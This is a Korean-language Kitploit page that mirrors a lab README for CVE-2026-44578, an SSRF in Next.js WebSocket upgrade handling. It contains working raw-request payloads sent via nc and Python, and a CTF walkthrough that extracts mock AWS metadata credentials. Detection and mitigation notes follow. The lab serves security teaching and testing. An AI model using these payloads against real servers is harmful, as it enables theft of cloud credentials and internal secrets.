Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-44578-next-js-ssrf — 이 실험실은 괜찮을 수도 있고 아닐 수도 있지만, 테스트 중이며 작동해야 합니다. AI에게 물어보세요 하하하 | Kitploit
도구/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud SecurityLabs & Practice
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

이 실험실은 괜찮을 수도 있고 아닐 수도 있지만, 테스트 중이며 작동해야 합니다. AI에게 물어보세요 하하하

저장소 보기
11시간 46분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-44578 — Next.js WebSocket 업그레이드 SSRF (실습 환경)

Next.js 자체 호스팅(self-hosted) 애플리케이션에서 Node.js 내장 서버를 사용할 때 발생하는 CVE-2026-44578 (CWE-918, SSRF) 취약점을 재현하기 위한 자체 포함 실습 환경입니다.

필드값
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
유형SSRF (CWE-918)
영향을 받는 버전Next.js 13.4.13 – 15.5.15 및 16.0.0 – 16.2.4
패치된 버전15.5.16 및 16.2.5
인증없음
사용자 상호작용없음

실습 환경 토폴로지

root@kitploit:~
공격자 (host: 0.0.0.0)
    │  HTTP :3000 (공개)
    ▼
┌──────────────────────────┐  동일 네트워크 네임스페이스  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (자격 증명,          │
│ (Node.js 내장 서버)       │                           │  user-data, 인덱스)  │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln (포트 3000): 취약한 애플리케이션으로, 0.0.0.0:3000에 노출됩니다.
  • imds-sidecar: Next.js 컨테이너의 네임스페이스 내부의 localhost:80에 존재하는 AWS 메타데이터 서비스 모의 서버로, 실제 클라우드 인스턴스를 모델링합니다. 호스트에서 직접 접근할 수 없습니다 (게시된 포트 없음).
root@kitploit:~
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # 자동화된 PoC (5가지 프로브)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + 비밀 경로
                        └── nextjs-app/             # 실제적인 "Nimbus Analytics" 앱
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # 랜딩 페이지
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (취약 버전)

취약한 이유

router-server.ts의 WebSocket 업그레이드 핸들러는 파싱된 URI에 parsedUrl.protocol이 있을 때 proxyRequest()를 호출하지만, 일반 HTTP 핸들러가 항상 설정했던 finished 및 statusCode 플래그를 확인하지 않습니다:

root@kitploit:~
  // 취약 (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // 패치 (커밋 c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

공격 경로는 이중 슬래시가 있는 절대 URI 요청 라인을 사용합니다: GET http:///path. normalizeRepeatedSlashes는 http:///을 http:/로 축소하여 호스트 이름이 없어지고, http-proxy는 그런 다음 경로를 그대로 유지한 채 localhost:80에 연결합니다:

root@kitploit:~
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Connection: Upgrade + Upgrade: websocket 헤더가 존재하면 요청이 보안 검사가 있는 HTTP 핸들러 대신 취약한 업그레이드 핸들러로 전달됩니다.

실습 환경 실행

root@kitploit:~
docker compose up -d --build

앱이 응답하는지 확인:

root@kitploit:~
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

0.0.0.0에서 실행되도록 docker-compose.yml의 포트 매핑은 이미 모든 인터페이스에서 3000:3000을 노출합니다.

수동 공격

1. netcat (nc) 사용

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. 순수 Python 사용 (표준 라이브러리, 의존성 없음)

root@kitploit:~
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. 자동화된 PoC 사용

root@kitploit:~
python3 exploit/exploit.py 127.0.0.1 3000

CTF — 최종 플래그 수동 캡처

4단계로 구성된 100% 수동 전체 흐름입니다. 내부 서비스(localhost:80)에 4개의 플래그가 숨겨져 있습니다. 이 가이드는 첫 번째 플래그까지의 흐름을 보여주고 나머지를 찾을 수 있는 경로를 안내합니다.

1단계 — 정찰

root@kitploit:~
# 서버 핑거프린트
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# 소켓을 통한 열린 포트 확인 (nmap 없이)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

공격자 측에서는 127.0.0.1:80에 직접 접근할 수 없습니다: 유일한 벡터는 내부 서비스와 동일한 네트워크에 있는 Next.js 서버가 우리를 대신해 요청하도록 하는 것입니다.

2단계 — SSRF를 통한 메타데이터 서비스 열거

먼저 메타데이터 서비스의 인덱스를 요청하여 SSRF를 확인합니다:

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

인덱스 응답 → 후보: instance-id, hostname, iam/security-credentials/, user-data (첫 번째 플래그). latest/meta-data/의 인덱스는 계속 탐색할 가치가 있는 하위 키도 공개합니다.

3단계 — 페이로드 구성 (바이트 단위)

root@kitploit:~
GET http:///latest/user-data HTTP/1.1
부분기능
GET취약점은 GET만 프록시합니다
http:///latest/user-data절대 URI. http:///은 http:/로 축소됨 → 호스트 이름 null → 프록시가 경로 /latest/user-data를 유지한 채 localhost:80에 연결
Host: 127.0.0.1:3000없으면 서버가 400으로 응답
Connection: Upgrade + Upgrade: websocket요청을 취약한 업그레이드 핸들러로 전환 (일반 HTTP 핸들러는 검증함)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==정당한 핸드셰이크에 필요한 최소 헤더

종료: raw 소켓에서 \r\n\r\n (본문 없음).

4단계 — 수동 트리거 및 플래그 캡처

root@kitploit:~
# 옵션 A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
root@kitploit:~
# 옵션 B: Python raw 소켓 (nc 없이 동일한 정밀도)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

출력 — 첫 번째 플래그는 내부 서비스 응답 본문에 도착합니다:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

플래그 1/4 획득. server: BaseHTTP/0.6 ... (Python mock) 헤더는 요청이 공격자 → Next.js → localhost:80으로 이동했음을 확인합니다. 즉, 플래그가 SSRF를 통해 내부 네트워크에서 유출된 것입니다. 나머지 3개는 메타데이터 서비스와 내부 서비스의 경로에 흩어져 있습니다 — latest/meta-data/의 인덱스가 지도입니다. 나머지를 찾으세요.

실습 환경에 노출된 엔드포인트

Fake IMDS(localhost:80)는 실제 AWS 메타데이터 서비스를 모델링합니다: 탐색 가능한 트리입니다. 각 디렉터리(/로 끝남)는 하위 경로의 인덱스로 응답합니다. / 없이 디렉터리를 요청하면 301 리디렉션이 반환됩니다. 숨겨진 경로는 없습니다: 어떤 플래그도 추측을 요구하지 않습니다 — 모든 것은 인덱스를 탐색하여 발견됩니다.

root@kitploit:~
/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → 부팅 스크립트 (internal/config를 가리킴)
경로내용
latest/meta-data/메타데이터 인덱스 (위 참조)
latest/meta-data/iam/security-credentials/역할 lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-roleAccessKeyId, SecretAccessKey 및 Token이 포함된 JSON
latest/user-dataDB 자격 증명이 포함된 부팅 스크립트
latest/dynamic/instance-identity/document인스턴스 ID JSON
internal/config내부 서비스 구성 (DB, API 키) — user-data에서 참조됨

CTF 도전: 4개의 플래그가 있으며, 각각은 AWS에 대한 SSRF 공격 체인의 실제 아티팩트입니다: (1) 부팅 user-data, (2) IAM 자격 증명, (3) identity document, (4) 내부 서비스 구성. 해당 값은 게시되지 않았습니다. 인덱스(/ → latest/ → …)를 탐색하면 배너에서 배너로 이동합니다. user-data 스크립트는 네 번째 플래그가 어디에 있는지 알려줍니다. 경로를 추측할 필요가 없습니다: 404는 존재하지 않는 경로를 만들고 있다는 신호일 뿐입니다.

해결 가이드 (점진적 스포일러)

플래그→플래그 체인의 전체 버전은 별도 문서에 있습니다: SOLUCION.md (각 플래그는 다음 플래그에 대한 힌트를 제공하며, 이 README 밖에 있습니다).

규칙: 각 플래그에는 힌트, 장애물 및 해결책이 있습니다. 먼저 힌트로 시도하세요. 막혔을 때 장애물을 사용하세요. 숨겨진 경로는 없습니다: 아무도 속이지 않으며, 모든 것은 탐색됩니다.

시작하기 전에 두 가지 알림:

  1. ssrf() 헬퍼가 이미 준비되어 있습니다 SOLUCION.md → 준비에서: 복사하여 가이드의 나머지 부분에 사용하세요. Connection: Upgrade + Upgrade: websocket과 함께 GET http:///<path> 요청을 보냅니다.
  2. 플래그는 base64로 암호화되어 전송됩니다. 응답에서 RkxBR3… 블롭(FLAG{…}의 base64)을 볼 수 있습니다. 해독하세요: echo <blob> | base64 -d.

플래그 1 — user-data (가장 쉬움)

  • 힌트: /latest/user-data에 GET 요청하면 무엇이 반환되나요? AWS 공격자가 가장 먼저 확인하는 것입니다.
  • 장애물 1 (301 인덱스): 폴더는 끝에 /를 붙여 나열됩니다. ssrf latest/meta-data는 301 Moved Permanently 및 Location: latest/meta-data/를 반환합니다. = "나를 따라오세요". nc에는 자동 리디렉션이 없습니다: 슬래시를 포함하여 요청을 반복하세요.
  • 해결책:
root@kitploit:~
ssrf latest/user-data

본문에서: DB_PASS=…가 포함된 부팅 스크립트(플래그 1이 여기에 있음)와 플래그 4의 지도인 curl -s http://internal/config 줄이 있습니다.

플래그 2 — IAM 자격 증명

  • 힌트: latest/meta-data/iam/security-credentials/를 탐색하고 나타나는 역할을 요청하세요.
  • 장애물 2 (Token은 채우기가 아님): 200은 긴 JSON을 반환합니다. AccessKeyId/SecretAccessKey가 눈에 띕니다. 플래그 2는 거기에 없습니다: Token 필드는 단일 base64 문자열입니다. 해독하세요.
  • 해결책:
root@kitploit:~
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role

플래그 3 — identity document

  • 힌트: latest/meta-data/가 유일한 트리가 아닙니다. 루트 인덱스를 보세요: 거의 아무도 열지 않는 dynamic/이 있습니다.
  • 장애물 (연쇄 리디렉션): dynamic/ → instance-identity/ → document. 세 단계입니다. 각 단계에서 ssrf는 /로 끝나야 합니다(document 제외). 301 후 다시 요청하지 않아 길을 잃는 사람들이 있습니다.
  • 해결책:
root@kitploit:~
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document

ID JSON에는 FLAG 키가 포함되어 있으며 플래그 3(base64)이 있습니다. 명령 시리즈가 두 번째 단계에서 301을 반환했다면 장애물 1의 교훈을 기억하세요.

플래그 4 — 내부 서비스 구성

  • 힌트: 플래그 1(user-data)이 주소를 자백했습니다: curl -s http://internal/config.
  • 장애물 ("internal"이란 무엇인가?): 공격자 측에서 internal은 해석되지 않습니다. "internal"은 사용자 측이 아닌 서버 측의 별칭입니다. 호스트를 변경하지 마세요: SSRF는 항상 localhost:80에 도달합니다. 경로만 선택하면 됩니다.
  • 해결책:
root@kitploit:~
ssrf internal/config

4개 모두 확인 (base64 블롭 → 디코딩):

root@kitploit:~
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo

4/4 플래그 확보. 어떤 것이 FLAG{...}로 나오지 않으면, user-data의 curl(플래그 4 장애물) 또는 인덱스의 /(플래그 1 장애물)를 확인하세요.

수동 사용 예시, IAM 자격 증명:

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

예상 결과 — 응답은 Next.js 배너가 아닌 server: BaseHTTP/0.6 Python/3.12.x(mock)와 함께 도착하며, 이는 요청이 서버에 의해 localhost:80으로 이루어졌음을 증명합니다:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}

PoC 결과

PoC는 SSRF를 확인하지만 플래그를 검열합니다: FLAG{...}의 base64 블롭과 평문 FLAG{...}는 검열된 텍스트로 표시됩니다. 값은 수동 탐색(위 CTF 섹션)을 통해서만 얻을 수 있습니다.

root@kitploit:~
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (암호화된 플래그: 수동 공격) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (암호화된 플래그: 수동 공격) ***

취약점 제한 사항

  • GET만 가능 (POST/PUT 불가).
  • 포트 80만 가능 (http:/// 정규화에서 호스트 이름이 손실됨).
  • IMDSv2는 공격 불가 (토큰에 PUT 필요).
  • GCP 메타데이터는 공격 불가 (Upgrade: websocket을 400으로 거부).
  • Vercel 호스팅은 영향 없음.
  • 리버스 프록시(nginx/Caddy/HAProxy) 뒤에서는 절대 URI가 일반적으로 차단됩니다.

"패치" 확인

패치(Next.js ≥ 15.5.16)가 공격을 차단하는지 확인하려면 nextjs-app/package.json의 버전을 15.5.16로 변경하고, 다시 빌드한 후 동일한 페이로드를 다시 실행하세요: 연결이 데이터 없이 종료됩니다.

탐지

Next.js 프로세스 로그의 시그니처:

  • Failed to proxy http:/ — 프록시가 실행되었지만 대상에 도달할 수 없었습니다.
  • 요청 라인에 http:가 포함된 절대 URI와 Connection: Upgrade / Upgrade: websocket 헤더가 함께 있는 요청.

완화 조치

  • 15.5.16 / 16.2.5 이상으로 업데이트.
  • 업데이트할 수 없는 경우: 리버스 프록시에서 WebSocket 업그레이드를 차단하고 AWS에서 IMDSv2(HttpTokens=required)를 적용.
  • 절대 URI를 거부하는 nginx 예시:
root@kitploit:~
if ($request_uri ~* "^https?://") { return 400; }

참고 자료

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
  • GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • 수정 커밋: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
도구 다운로드